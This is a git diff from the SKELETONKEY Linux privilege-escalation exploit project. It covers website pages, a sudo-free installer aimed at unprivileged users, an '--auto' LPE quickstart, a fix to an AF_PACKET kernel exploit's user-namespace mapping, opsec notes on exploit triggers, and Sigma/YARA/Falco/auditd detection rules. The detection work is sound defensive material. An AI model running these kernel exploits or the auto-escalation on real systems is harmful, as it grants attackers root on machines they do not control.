<span class="prompt">$</span> skeletonkey --auto --dry-run</pre>
|
||||
</div>
|
||||
<div class="tab-panel" data-tab="detect">
|
||||
<pre class="code"><span class="cmt"># deploy SIEM coverage (needs sudo to write to /etc/audit/rules.d/)</span>
|
||||
<span class="prompt">$</span> skeletonkey --detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-skeletonkey.rules
|
||||
<span class="prompt">$</span> sudo augenrules --load
|
||||
|
||||
<span class="cmt"># Deploy detection rules (needs sudo to write into /etc/audit/rules.d/)</span>
|
||||
<span class="prompt">$</span> skeletonkey --detect-rules --format=auditd \
|
||||
| sudo tee /etc/audit/rules.d/99-skeletonkey.rules
|
||||
|
||||
<span class="cmt"># Fleet scan — many hosts via SSH, aggregated JSON for SIEM</span>
|
||||
<span class="prompt">$</span> ./tools/skeletonkey-fleet-scan.sh --binary skeletonkey \
|
||||
--ssh-key ~/.ssh/id_rsa hosts.txt</pre>
|
||||
<span class="cmt"># or in YAML for falco / sigma / yara</span>
|
||||
<span class="prompt">$</span> skeletonkey --detect-rules --format=falco > /etc/falco/skeletonkey_rules.yaml</pre>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<section>
|
||||
<!-- ──────────────── ROADMAP / TIMELINE ──────────────── -->
|
||||
<section class="section section-timeline reveal">
|
||||
<div class="container">
|
||||
<h2>Status</h2>
|
||||
<p class="lead">
|
||||
<strong>v0.5.0</strong> cut 2026-05-17. 28 verified modules build
|
||||
clean on Debian 13 (kernel 6.12) and refuse cleanly on patched
|
||||
hosts; 3 further modules (dirtydecrypt, fragnesia, pack2theroot)
|
||||
are ported from public PoCs but not yet VM-verified.
|
||||
Empirical end-to-end validation on a vulnerable-kernel VM matrix
|
||||
is the next roadmap item; until then, the corpus is best
|
||||
understood as "compiles + detects + structurally correct +
|
||||
honest on failure."
|
||||
</p>
|
||||
<p style="margin-top:1rem">
|
||||
<a class="btn" href="https://github.com/KaraZajac/SKELETONKEY/blob/main/ROADMAP.md">Read the roadmap</a>
|
||||
<a class="btn" href="https://github.com/KaraZajac/SKELETONKEY/blob/main/CONTRIBUTING.md">How to contribute</a>
|
||||
<div class="section-head">
|
||||
<span class="section-tag">where we are</span>
|
||||
<h2>Recently shipped · in flight · next.</h2>
|
||||
</div>
|
||||
|
||||
<div class="timeline">
|
||||
<div class="tl-col tl-shipped">
|
||||
<div class="tl-tag">shipped</div>
|
||||
<ul>
|
||||
<li><strong>29 of 41 CVEs empirically verified</strong> in real Linux VMs</li>
|
||||
<li><strong>kernel.ubuntu.com/mainline/</strong> kernel fetch path — unblocks pin-not-in-apt targets</li>
|
||||
<li>Per-module <code>verified_on[]</code> table baked into the binary</li>
|
||||
<li><strong>--explain mode</strong> — one-page operator briefing per CVE</li>
|
||||
<li><strong>OPSEC notes</strong> — per-module runtime footprint</li>
|
||||
<li><strong>CISA KEV + NVD CWE + MITRE ATT&CK</strong> metadata pipeline</li>
|
||||
<li>151 detection rules across all four SIEM formats</li>
|
||||
<li><code>core/host.c</code> shared host-fingerprint refactor</li>
|
||||
<li>88-test harness (kernel_range + detect integration)</li>
|
||||
</ul>
|
||||
</div>
|
||||
<div class="tl-col tl-active">
|
||||
<div class="tl-tag">in flight</div>
|
||||
<ul>
|
||||
<li>9 deferred TOO_TIGHT kernel-range drift findings</li>
|
||||
<li>PackageKit provisioner so pack2theroot can hit the VULNERABLE path</li>
|
||||
<li>Custom Vagrant box for kernels ≤ 4.4 (unblock dirty_cow verification)</li>
|
||||
</ul>
|
||||
</div>
|
||||
<div class="tl-col tl-next">
|
||||
<div class="tl-tag">next</div>
|
||||
<ul>
|
||||
<li>arm64 musl-static binary (Raspberry-Pi-class deployments)</li>
|
||||
<li>Mass-fleet scan aggregator → heat-map dashboard</li>
|
||||
<li>SIEM query templates (Splunk SPL, Elastic KQL, Sentinel KQL)</li>
|
||||
<li>CWE / ATT&CK filter for <code>--scan --json</code></li>
|
||||
<li>CI hardening: clang-tidy, scan-build, drift-check job</li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<p class="tl-foot">
|
||||
Full roadmap and contribution guide:
|
||||
<a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/ROADMAP.md">ROADMAP.md</a>
|
||||
·
|
||||
<a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/CONTRIBUTING.md">CONTRIBUTING.md</a>
|
||||
</p>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<footer>
|
||||
<div class="container">
|
||||
<!-- ──────────────── FOOTER ──────────────── -->
|
||||
<footer class="footer">
|
||||
<div class="container footer-inner">
|
||||
<div class="footer-col">
|
||||
<div class="footer-brand">
|
||||
<span class="nav-mark" aria-hidden="true">◆</span>
|
||||
SKELETONKEY
|
||||
</div>
|
||||
<p class="footer-tag">
|
||||
Curated Linux LPE corpus with SOC-ready detection rules. One
|
||||
binary, no SaaS, no telemetry. MIT licensed.
|
||||
</p>
|
||||
</div>
|
||||
<div class="footer-col">
|
||||
<h4>Project</h4>
|
||||
<ul>
|
||||
<li><a href="https://github.com/KaraZajac/SKELETONKEY">Source</a></li>
|
||||
<li><a href="https://github.com/KaraZajac/SKELETONKEY/releases">Releases</a></li>
|
||||
<li><a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/CVES.md">CVE inventory</a></li>
|
||||
<li><a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/ROADMAP.md">Roadmap</a></li>
|
||||
</ul>
|
||||
</div>
|
||||
<div class="footer-col">
|
||||
<h4>Docs</h4>
|
||||
<ul>
|
||||
<li><a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/ARCHITECTURE.md">Architecture</a></li>
|
||||
<li><a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/DETECTION_PLAYBOOK.md">Detection playbook</a></li>
|
||||
<li><a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/JSON_SCHEMA.md">JSON schema</a></li>
|
||||
<li><a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/OFFSETS.md">Offsets</a></li>
|
||||
</ul>
|
||||
</div>
|
||||
<div class="footer-col">
|
||||
<h4>Ethics</h4>
|
||||
<ul>
|
||||
<li><a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/ETHICS.md">ETHICS.md</a></li>
|
||||
<li><a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/DEFENDERS.md">For defenders</a></li>
|
||||
<li><a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/CONTRIBUTING.md">Contribute</a></li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
<div class="container footer-bottom">
|
||||
<p>
|
||||
Each module credits the original CVE reporter and PoC author in its
|
||||
<code>NOTICE.md</code>. The research credit belongs to the people
|
||||
who found the bugs.
|
||||
</p>
|
||||
<p>
|
||||
MIT licensed ·
|
||||
<a href="https://github.com/KaraZajac/SKELETONKEY">github.com/KaraZajac/SKELETONKEY</a>
|
||||
<p class="footer-meta">
|
||||
v0.9.11 · MIT · <a href="https://github.com/KaraZajac/SKELETONKEY">github.com/KaraZajac/SKELETONKEY</a>
|
||||
</p>
|
||||
</div>
|
||||
</footer>
|
||||
|
||||
<script>
|
||||
function copyInstall(btn) {
|
||||
var cmd = document.getElementById('install-cmd').innerText.replace(/^\$\s*/, '');
|
||||
navigator.clipboard.writeText(cmd).then(function() {
|
||||
btn.textContent = 'copied!';
|
||||
btn.classList.add('copied');
|
||||
setTimeout(function() {
|
||||
btn.textContent = 'copy';
|
||||
btn.classList.remove('copied');
|
||||
}, 1500);
|
||||
});
|
||||
}
|
||||
|
||||
</script>
|
||||
<script src="app.js" defer></script>
|
||||
|
||||
</body>
|
||||
</html>
|
||||
|
||||
BIN
Binary file not shown.
|
After Width: | Height: | Size: 73 KiB |
+85
@@ -0,0 +1,85 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<svg xmlns="http://www.w3.org/2000/svg" width="1200" height="630" viewBox="0 0 1200 630">
|
||||
<defs>
|
||||
<linearGradient id="bg" x1="0" y1="0" x2="1" y2="1">
|
||||
<stop offset="0" stop-color="#07070d"/>
|
||||
<stop offset="1" stop-color="#0c0c16"/>
|
||||
</linearGradient>
|
||||
<linearGradient id="brand" x1="0" y1="0" x2="1" y2="0">
|
||||
<stop offset="0" stop-color="#10b981"/>
|
||||
<stop offset="1" stop-color="#06b6d4"/>
|
||||
</linearGradient>
|
||||
<radialGradient id="glow1" cx="0.2" cy="0.3" r="0.6">
|
||||
<stop offset="0" stop-color="#10b981" stop-opacity="0.18"/>
|
||||
<stop offset="1" stop-color="#10b981" stop-opacity="0"/>
|
||||
</radialGradient>
|
||||
<radialGradient id="glow2" cx="0.85" cy="0.8" r="0.5">
|
||||
<stop offset="0" stop-color="#a855f7" stop-opacity="0.16"/>
|
||||
<stop offset="1" stop-color="#a855f7" stop-opacity="0"/>
|
||||
</radialGradient>
|
||||
</defs>
|
||||
|
||||
<!-- backgrounds -->
|
||||
<rect width="1200" height="630" fill="url(#bg)"/>
|
||||
<rect width="1200" height="630" fill="url(#glow1)"/>
|
||||
<rect width="1200" height="630" fill="url(#glow2)"/>
|
||||
|
||||
<!-- diamond mark -->
|
||||
<g transform="translate(80,140)">
|
||||
<rect x="0" y="0" width="36" height="36" transform="rotate(45 18 18)" fill="url(#brand)"/>
|
||||
</g>
|
||||
|
||||
<!-- wordmark -->
|
||||
<text x="142" y="170" font-family="'Space Grotesk','Inter',sans-serif" font-weight="700" font-size="68" fill="#ecedf7" letter-spacing="-2">
|
||||
SKELETONKEY
|
||||
</text>
|
||||
|
||||
<!-- tagline -->
|
||||
<text x="80" y="240" font-family="'Inter',sans-serif" font-size="30" fill="#c5c5d3" font-weight="500">
|
||||
Curated Linux LPE corpus.
|
||||
</text>
|
||||
<text x="80" y="278" font-family="'Inter',sans-serif" font-size="30" fill="#c5c5d3" font-weight="500">
|
||||
Every year 2016 → 2026. 28 of 34 verified.
|
||||
</text>
|
||||
|
||||
<!-- stat chips -->
|
||||
<g transform="translate(80,360)">
|
||||
<!-- 39 modules -->
|
||||
<rect x="0" y="0" width="190" height="58" rx="29" fill="#161628" stroke="#25253c"/>
|
||||
<text x="28" y="38" font-family="'JetBrains Mono',monospace" font-weight="700" font-size="22" fill="#ecedf7">39</text>
|
||||
<text x="64" y="37" font-family="'Inter',sans-serif" font-size="16" fill="#8a8a9d">modules</text>
|
||||
|
||||
<!-- 28 VM-verified -->
|
||||
<rect x="206" y="0" width="240" height="58" rx="29" fill="#161628" stroke="#10b981" stroke-opacity="0.5"/>
|
||||
<text x="234" y="38" font-family="'JetBrains Mono',monospace" font-weight="700" font-size="22" fill="#34d399">28</text>
|
||||
<text x="270" y="37" font-family="'Inter',sans-serif" font-size="16" fill="#8a8a9d">✓ VM-verified</text>
|
||||
|
||||
<!-- 12 KEV -->
|
||||
<rect x="482" y="0" width="218" height="58" rx="29" fill="#161628" stroke="#ef4444" stroke-opacity="0.4"/>
|
||||
<text x="510" y="38" font-family="'JetBrains Mono',monospace" font-weight="700" font-size="22" fill="#ef4444">12</text>
|
||||
<text x="546" y="37" font-family="'Inter',sans-serif" font-size="16" fill="#8a8a9d">★ in CISA KEV</text>
|
||||
|
||||
<!-- 151 rules -->
|
||||
<rect x="736" y="0" width="232" height="58" rx="29" fill="#161628" stroke="#25253c"/>
|
||||
<text x="764" y="38" font-family="'JetBrains Mono',monospace" font-weight="700" font-size="22" fill="#ecedf7">151</text>
|
||||
<text x="810" y="37" font-family="'Inter',sans-serif" font-size="16" fill="#8a8a9d">detection rules</text>
|
||||
</g>
|
||||
|
||||
<!-- terminal mockup -->
|
||||
<g transform="translate(80,478)">
|
||||
<rect x="0" y="0" width="1040" height="92" rx="12" fill="#0a0a14" stroke="#25253c"/>
|
||||
<!-- bar -->
|
||||
<circle cx="22" cy="22" r="6" fill="#ff5f57"/>
|
||||
<circle cx="42" cy="22" r="6" fill="#febc2e"/>
|
||||
<circle cx="62" cy="22" r="6" fill="#28c840"/>
|
||||
<line x1="0" y1="44" x2="1040" y2="44" stroke="#1c1c2d"/>
|
||||
<text x="24" y="78" font-family="'JetBrains Mono',monospace" font-size="20" fill="#ecedf7">
|
||||
<tspan fill="#10b981">$</tspan> skeletonkey --explain nf_tables <tspan fill="#5b5b75"># operator briefing in one command</tspan>
|
||||
</text>
|
||||
</g>
|
||||
|
||||
<!-- subtle url at very bottom -->
|
||||
<text x="1120" y="610" font-family="'JetBrains Mono',monospace" font-size="14" fill="#5b5b75" text-anchor="end">
|
||||
skeletonkey.netslum.io
|
||||
</text>
|
||||
</svg>
|
||||
|
After Width: | Height: | Size: 4.0 KiB |
+913
-190
File diff suppressed because it is too large
Load Diff
+59
-17
@@ -28,17 +28,39 @@ set -eu
|
||||
|
||||
REPO="${SKELETONKEY_REPO:-KaraZajac/SKELETONKEY}"
|
||||
VERSION="${SKELETONKEY_VERSION:-latest}"
|
||||
PREFIX="${SKELETONKEY_PREFIX:-/usr/local/bin}"
|
||||
# PREFIX resolution is deferred until install time so we can pick a
|
||||
# sudo-free default. SKELETONKEY is a privilege-escalation tool — by
|
||||
# definition the operator does NOT have root yet, so the installer must
|
||||
# NEVER need sudo. Empty here means "auto-pick a writable dir below".
|
||||
PREFIX="${SKELETONKEY_PREFIX:-}"
|
||||
|
||||
log() { printf '[\033[1;36m*\033[0m] %s\n' "$*" >&2; }
|
||||
ok() { printf '[\033[1;32m+\033[0m] %s\n' "$*" >&2; }
|
||||
fail() { printf '[\033[1;31m-\033[0m] %s\n' "$*" >&2; exit 1; }
|
||||
|
||||
# Detect architecture
|
||||
# Detect architecture. Default to the musl-static binary on both
|
||||
# x86_64 and arm64 — works on every libc (glibc 2.x of any version,
|
||||
# musl, uclibc); costs ~800 KB extra vs dynamic but eliminates the
|
||||
# GLIBC_2.NN portability ceiling that bites on Debian-stable, older
|
||||
# RHEL hosts, and Alpine. Set SKELETONKEY_DYNAMIC=1 to fetch the
|
||||
# smaller dynamic build (needs glibc >= 2.38 for x86_64 — Ubuntu
|
||||
# 24.04 / Debian 13 / RHEL 10).
|
||||
arch=$(uname -m)
|
||||
case "$arch" in
|
||||
x86_64|amd64) target=x86_64 ;;
|
||||
aarch64|arm64) target=arm64 ;;
|
||||
x86_64|amd64)
|
||||
if [ "${SKELETONKEY_DYNAMIC:-0}" = "1" ]; then
|
||||
target=x86_64
|
||||
else
|
||||
target=x86_64-static
|
||||
fi
|
||||
;;
|
||||
aarch64|arm64)
|
||||
if [ "${SKELETONKEY_DYNAMIC:-0}" = "1" ]; then
|
||||
target=arm64
|
||||
else
|
||||
target=arm64-static
|
||||
fi
|
||||
;;
|
||||
*) fail "Unsupported architecture: $arch (only x86_64 and arm64 currently)" ;;
|
||||
esac
|
||||
log "detected arch: $target"
|
||||
@@ -90,29 +112,49 @@ fi
|
||||
|
||||
chmod +x "$tmp/skeletonkey"
|
||||
|
||||
# Install. Try $PREFIX directly; if not writable, sudo.
|
||||
target_path="$PREFIX/skeletonkey"
|
||||
if [ -w "$PREFIX" ] || [ "$(id -u)" -eq 0 ]; then
|
||||
mv "$tmp/skeletonkey" "$target_path"
|
||||
elif command -v sudo >/dev/null 2>&1; then
|
||||
log "$PREFIX needs sudo; you may be prompted for password"
|
||||
sudo mv "$tmp/skeletonkey" "$target_path"
|
||||
# Choose install dir — NEVER escalate to sudo. If the user pinned
|
||||
# SKELETONKEY_PREFIX we honor it exactly (creating it if needed) and
|
||||
# error rather than escalate when it isn't writable. Otherwise prefer
|
||||
# /usr/local/bin only when it happens to already be writable, and fall
|
||||
# back to a guaranteed per-user dir ($HOME/.local/bin) that needs no
|
||||
# privileges. This keeps `curl ... | sh` password-free for the exact
|
||||
# users this tool is meant for: unprivileged accounts.
|
||||
if [ -n "$PREFIX" ]; then
|
||||
[ -d "$PREFIX" ] || mkdir -p "$PREFIX" 2>/dev/null \
|
||||
|| fail "cannot create SKELETONKEY_PREFIX=$PREFIX"
|
||||
[ -w "$PREFIX" ] || fail "SKELETONKEY_PREFIX=$PREFIX not writable (the installer never uses sudo — pick a writable dir)"
|
||||
elif [ -w /usr/local/bin ]; then
|
||||
PREFIX=/usr/local/bin
|
||||
else
|
||||
fail "$PREFIX not writable and sudo not available. Try SKELETONKEY_PREFIX=\$HOME/.local/bin"
|
||||
PREFIX="${XDG_BIN_HOME:-$HOME/.local/bin}"
|
||||
mkdir -p "$PREFIX" 2>/dev/null || fail "cannot create $PREFIX"
|
||||
fi
|
||||
|
||||
target_path="$PREFIX/skeletonkey"
|
||||
mv "$tmp/skeletonkey" "$target_path" || fail "failed to install to $target_path"
|
||||
ok "installed: $target_path"
|
||||
|
||||
# ~/.local/bin is frequently absent from PATH on fresh accounts — tell
|
||||
# the user how to invoke it rather than letting `skeletonkey` 404.
|
||||
case ":$PATH:" in
|
||||
*":$PREFIX:"*) : ;;
|
||||
*) log "note: $PREFIX is not on \$PATH — run it as $target_path, or add the dir to PATH" ;;
|
||||
esac
|
||||
|
||||
"$target_path" --version
|
||||
|
||||
cat >&2 <<EOF
|
||||
|
||||
[\033[1;33m!\033[0m] AUTHORIZED TESTING ONLY — see https://github.com/${REPO}/blob/main/docs/ETHICS.md
|
||||
|
||||
Quickstart:
|
||||
sudo skeletonkey --scan # what's this box vulnerable to?
|
||||
sudo skeletonkey --audit # broader system hygiene
|
||||
sudo skeletonkey --detect-rules --format=auditd \\
|
||||
| sudo tee /etc/audit/rules.d/99-skeletonkey.rules # deploy detection rules
|
||||
Quickstart (no root required — gaining it is the point):
|
||||
skeletonkey --scan # what's this box vulnerable to?
|
||||
skeletonkey --audit # broader system hygiene
|
||||
skeletonkey --auto --i-know # run the safest available LPE
|
||||
|
||||
Deploy detection rules (defensive; only the write to /etc/audit needs root):
|
||||
skeletonkey --detect-rules --format=auditd \\
|
||||
| sudo tee /etc/audit/rules.d/99-skeletonkey.rules
|
||||
|
||||
See \`skeletonkey --help\` for all commands.
|
||||
EOF
|
||||
|
||||
@@ -449,6 +449,12 @@ static int afp2_arb_write(uintptr_t kaddr, const void *buf, size_t len, void *vc
|
||||
pid_t p = fork();
|
||||
if (p < 0) return -1;
|
||||
if (p == 0) {
|
||||
/* Capture the OUTER uid/gid BEFORE unshare: after
|
||||
* unshare(CLONE_NEWUSER) getuid()/getgid() return 65534 (nobody),
|
||||
* so a post-unshare map is "0 65534 1" which the kernel rejects
|
||||
* with EPERM and the userns-root mapping silently fails. */
|
||||
unsigned outer_uid = (unsigned)getuid();
|
||||
unsigned outer_gid = (unsigned)getgid();
|
||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) _exit(2);
|
||||
int fd;
|
||||
fd = open("/proc/self/setgroups", O_WRONLY);
|
||||
@@ -456,13 +462,13 @@ static int afp2_arb_write(uintptr_t kaddr, const void *buf, size_t len, void *vc
|
||||
fd = open("/proc/self/uid_map", O_WRONLY);
|
||||
if (fd >= 0) {
|
||||
char m[64];
|
||||
int n = snprintf(m, sizeof m, "0 %u 1", (unsigned)getuid());
|
||||
int n = snprintf(m, sizeof m, "0 %u 1", outer_uid);
|
||||
(void)!write(fd, m, n); close(fd);
|
||||
}
|
||||
fd = open("/proc/self/gid_map", O_WRONLY);
|
||||
if (fd >= 0) {
|
||||
char m[64];
|
||||
int n = snprintf(m, sizeof m, "0 %u 1", (unsigned)getgid());
|
||||
int n = snprintf(m, sizeof m, "0 %u 1", outer_gid);
|
||||
(void)!write(fd, m, n); close(fd);
|
||||
}
|
||||
int rc = af_packet2_primitive_child(c->ictx);
|
||||
@@ -669,6 +675,54 @@ static const char af_packet2_auditd[] =
|
||||
"# non-root via userns is the canonical footprint.\n"
|
||||
"-a always,exit -F arch=b64 -S socket -F a0=17 -k skeletonkey-af-packet\n";
|
||||
|
||||
static const char af_packet2_sigma[] =
|
||||
"title: Possible CVE-2020-14386 AF_PACKET VLAN underflow exploitation\n"
|
||||
"id: b83c6fa2-skeletonkey-af-packet2\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects the AF_PACKET TPACKET_V2 nested-VLAN frame pattern:\n"
|
||||
" unshare(CLONE_NEWUSER|CLONE_NEWNET) followed by socket(AF_PACKET),\n"
|
||||
" PACKET_RX_RING setsockopt, and a sendmmsg burst (>=64) on a unix\n"
|
||||
" socketpair spray. False positives: legitimate packet capture in\n"
|
||||
" rootless containers.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" userns: {type: 'SYSCALL', syscall: 'unshare'}\n"
|
||||
" afp: {type: 'SYSCALL', syscall: 'socket', a0: 17}\n"
|
||||
" send_burst:{type: 'SYSCALL', syscall: 'sendmmsg'}\n"
|
||||
" condition: userns and afp and send_burst\n"
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2020.14386]\n";
|
||||
|
||||
static const char af_packet2_yara[] =
|
||||
"rule af_packet2_cve_2020_14386 : cve_2020_14386 heap_spray\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2020-14386\"\n"
|
||||
" description = \"AF_PACKET VLAN-underflow spray tag (skeletonkey-afp-fc-)\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $tag = \"skeletonkey-afp-fc-\" ascii\n"
|
||||
" condition:\n"
|
||||
" $tag\n"
|
||||
"}\n";
|
||||
|
||||
static const char af_packet2_falco[] =
|
||||
"- rule: AF_PACKET TPACKET_V2 nested-VLAN trigger by non-root\n"
|
||||
" desc: |\n"
|
||||
" A non-root process sets up TPACKET_V2 and sends a burst of\n"
|
||||
" sendmmsg packets carrying nested VLAN tags (CVE-2020-14386\n"
|
||||
" trigger). False positives: legitimate VLAN/network capture\n"
|
||||
" tools in unprivileged containers.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = sendmmsg and fd.type = socket and\n"
|
||||
" fd.sockfamily = AF_PACKET and not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" sendmmsg burst on AF_PACKET socket by non-root\n"
|
||||
" (user=%user.name pid=%proc.pid vlen=%evt.arg.vlen)\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [network, mitre_privilege_escalation, T1068, cve.2020.14386]\n";
|
||||
|
||||
const struct skeletonkey_module af_packet2_module = {
|
||||
.name = "af_packet2",
|
||||
.cve = "CVE-2020-14386",
|
||||
@@ -680,9 +734,11 @@ const struct skeletonkey_module af_packet2_module = {
|
||||
.mitigate = NULL,
|
||||
.cleanup = NULL,
|
||||
.detect_auditd = af_packet2_auditd,
|
||||
.detect_sigma = NULL,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_sigma = af_packet2_sigma,
|
||||
.detect_yara = af_packet2_yara,
|
||||
.detect_falco = af_packet2_falco,
|
||||
.opsec_notes = "unshare(CLONE_NEWUSER|CLONE_NEWNET) + TPACKET_V2 ring on AF_PACKET; crafts nested-VLAN ETH_P_8021AD frames with 0x88A8/0x8100 TPIDs to trigger tpacket_rcv underflow; fires 256 frames + 64 sendmmsg via AF_UNIX socketpair spray. Tag 'skeletonkey-afp-fc-' visible in KASAN splats. Audit-visible via socket(AF_PACKET) + sendmsg/sendto from userns. No persistent artifacts; kernel cleans up on child exit.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_af_packet2(void)
|
||||
|
||||
@@ -891,6 +891,55 @@ static const char af_packet_auditd[] =
|
||||
"-a always,exit -F arch=b64 -S socket -F a0=17 -k skeletonkey-af-packet\n"
|
||||
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-af-packet-userns\n";
|
||||
|
||||
static const char af_packet_sigma[] =
|
||||
"title: Possible CVE-2017-7308 AF_PACKET TPACKET_V3 exploitation\n"
|
||||
"id: a72b5e91-skeletonkey-af-packet\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects the AF_PACKET TPACKET_V3 integer-overflow setup pattern:\n"
|
||||
" unshare(CLONE_NEWUSER|CLONE_NEWNET) followed by socket(AF_PACKET)\n"
|
||||
" and a PACKET_RX_RING setsockopt + sendmmsg burst. False positives:\n"
|
||||
" network sandboxes / containers running raw-packet apps inside\n"
|
||||
" userns; correlate process tree to distinguish.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" userns: {type: 'SYSCALL', syscall: 'unshare'}\n"
|
||||
" afp: {type: 'SYSCALL', syscall: 'socket', a0: 17}\n"
|
||||
" send_burst:{type: 'SYSCALL', syscall: 'sendmmsg'}\n"
|
||||
" condition: userns and afp and send_burst\n"
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2017.7308]\n";
|
||||
|
||||
static const char af_packet_yara[] =
|
||||
"rule af_packet_cve_2017_7308 : cve_2017_7308 heap_spray\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2017-7308\"\n"
|
||||
" description = \"AF_PACKET TPACKET_V3 spray tag from skeletonkey/iam-root tooling\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $tag1 = \"iamroot-afp-tag\" ascii\n"
|
||||
" $tag2 = \"skeletonkey-afp-fc-\" ascii\n"
|
||||
" condition:\n"
|
||||
" any of them\n"
|
||||
"}\n";
|
||||
|
||||
static const char af_packet_falco[] =
|
||||
"- rule: AF_PACKET TPACKET_V3 setup by non-root in userns\n"
|
||||
" desc: |\n"
|
||||
" A non-root process creates an AF_PACKET socket and sets up a\n"
|
||||
" TPACKET_V3 ring inside a user namespace. CVE-2017-7308 trigger\n"
|
||||
" requires CAP_NET_RAW which userns provides. False positives:\n"
|
||||
" legitimate packet-capture tools running rootless (rare).\n"
|
||||
" condition: >\n"
|
||||
" evt.type = setsockopt and evt.arg.optname contains PACKET_RX_RING\n"
|
||||
" and not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" AF_PACKET TPACKET_V3 ring setup by non-root\n"
|
||||
" (user=%user.name proc=%proc.name pid=%proc.pid)\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [network, mitre_privilege_escalation, T1068, cve.2017.7308]\n";
|
||||
|
||||
const struct skeletonkey_module af_packet_module = {
|
||||
.name = "af_packet",
|
||||
.cve = "CVE-2017-7308",
|
||||
@@ -902,9 +951,11 @@ const struct skeletonkey_module af_packet_module = {
|
||||
.mitigate = NULL,
|
||||
.cleanup = NULL,
|
||||
.detect_auditd = af_packet_auditd,
|
||||
.detect_sigma = NULL,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_sigma = af_packet_sigma,
|
||||
.detect_yara = af_packet_yara,
|
||||
.detect_falco = af_packet_falco,
|
||||
.opsec_notes = "Creates AF_PACKET socket and TPACKET_V3 ring inside unshare(CLONE_NEWUSER|CLONE_NEWNET); triggers integer overflow with crafted tp_block_size/tp_block_nr and sprays ~200 loopback frames. Audit-visible via socket(AF_PACKET) (a0=17) + sendmmsg from a userns process; KASAN tag 'iamroot-afp-tag' may appear in dmesg if enabled. No persistent files. No cleanup callback - kernel state unwinds on child exit.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_af_packet(void)
|
||||
|
||||
@@ -105,6 +105,7 @@ static const struct kernel_patched_from af_unix_gc_patched_branches[] = {
|
||||
{5, 10, 197},
|
||||
{5, 15, 130},
|
||||
{6, 1, 51}, /* 6.1 LTS */
|
||||
{6, 4, 13}, /* 6.4.x stable (per Debian tracker — forky/sid/trixie) */
|
||||
{6, 5, 0}, /* mainline fix landed in 6.5 (technically 6.6-rc1
|
||||
but stable 6.5.x carries the patch) */
|
||||
};
|
||||
@@ -832,6 +833,56 @@ static const char af_unix_gc_auditd[] =
|
||||
"-a always,exit -F arch=b64 -S sendmsg -k skeletonkey-afunixgc-sendmsg\n"
|
||||
"-a always,exit -F arch=b64 -S msgsnd -k skeletonkey-afunixgc-spray\n";
|
||||
|
||||
static const char af_unix_gc_sigma[] =
|
||||
"title: Possible CVE-2023-4622 AF_UNIX GC UAF race\n"
|
||||
"id: c45d7eb3-skeletonkey-af-unix-gc\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects tight-loop socketpair(AF_UNIX) + sendmsg with SCM_RIGHTS\n"
|
||||
" + msgsnd grooming pattern characteristic of the AF_UNIX garbage\n"
|
||||
" collector race. False positives: legitimate IPC apps use\n"
|
||||
" SCM_RIGHTS, but the high-frequency close-and-recreate cycle is\n"
|
||||
" unusual outside fuzzing / exploit harnesses.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" sp: {type: 'SYSCALL', syscall: 'socketpair', a0: 1}\n"
|
||||
" scm: {type: 'SYSCALL', syscall: 'sendmsg'}\n"
|
||||
" groom: {type: 'SYSCALL', syscall: 'msgsnd'}\n"
|
||||
" condition: sp and scm and groom\n"
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2023.4622]\n";
|
||||
|
||||
static const char af_unix_gc_yara[] =
|
||||
"rule af_unix_gc_cve_2023_4622 : cve_2023_4622 kernel_uaf\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2023-4622\"\n"
|
||||
" description = \"AF_UNIX GC race kmalloc-512 spray tag or log breadcrumb\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $tag = \"SKELETONKEYU\" ascii\n"
|
||||
" $log = \"/tmp/skeletonkey-af_unix_gc.log\" ascii\n"
|
||||
" condition:\n"
|
||||
" any of them\n"
